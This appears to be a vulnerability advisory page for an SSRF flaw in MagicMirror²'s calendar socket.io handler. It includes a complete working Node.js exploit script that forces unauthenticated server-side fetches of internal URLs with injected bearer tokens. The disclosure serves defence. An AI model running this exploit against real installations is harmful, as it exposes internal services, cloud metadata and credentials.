Medium

MagicMirror: ssrf calendar .js

  • Disclosed: 18.08.2026
  • Updated: 11.10.2026 10:22

Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)

Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.


Identification

Field Value
PoC file exploit-ssrf-calendar.js
Endpoint socket.io namespace /calendar, notification ADD_CALENDAR
Precondition reach the mirror's HTTP port (no authentication required)

Description

The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.

Worse, the attacker also controls:

  • the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." });
  • the selfSignedCert flag, which disables TLS verification of the server-side request.

When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).


Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

js
const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.


Exploit (exploit-ssrf-calendar.js)

js
const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
	if (event === "CALENDAR_EVENTS") {
		console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
		for (const ev of payload.events || []) {
			console.log("    SUMMARY:", ev.title);
			if (ev.title && ev.title.includes("FLAG{")) {
				console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
				console.log("      " + ev.title);
				process.exit(0);
			}
		}
	} else if (event === "CALENDAR_ERROR") {
		console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
	}
});

socket.on("connect", () => {
	console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
	console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
	socket.emit("ADD_CALENDAR", {
		url: INTERNAL_URL,
		fetchInterval: 60000,
		excludedEvents: [],
		maximumEntries: 10,
		maximumNumberOfDays: 3650,
		auth: { method: "bearer", pass: "internal-admin-token" },
		broadcastPastEvents: true,
		selfSignedCert: true,
		id: "pwn"
	});
});

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);

Vulnerable target code (pattern)

js
socketNotificationReceived(notification, payload) {
  if (notification === "ADD_CALENDAR") {
    const fetcher = new CalendarFetcher(
      payload.url,
      payload.fetchInterval,
      payload.excludedEvents,
      payload.maximumEntries,
      payload.maximumNumberOfDays,
      payload.auth,
      payload.broadcastPastEvents,
      payload.selfSignedCert
    );
    fetcher.fetchCalendar();
  }
}

Impact

  • Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network).
  • Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles).
  • Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target.
  • TLS bypass via selfSignedCert: true.
  • Internal port scanning through error/timing differences.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package magicmirror < 2.37.0 2.37.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Weakness (CWE)
CWE-441, CWE-918
Platform
npm
Package
magicmirror
Disclosed
18.08.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-w6x9-28jw-hq7j - CC BY 4.0

Vulnerability history: magicmirror

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
5
First → latest
05.2026 08.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • Medium 3
  • Low 1

Disclosures per year

  1. 2026: 5
  1. MagicMirror: ssrf calendar .js this entry
    Medium CVE-2026-63643 < 2.37.0 2.37.0
  2. Critical · 8.6 CVE-2026-42281 < 2.36.0 2.36.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.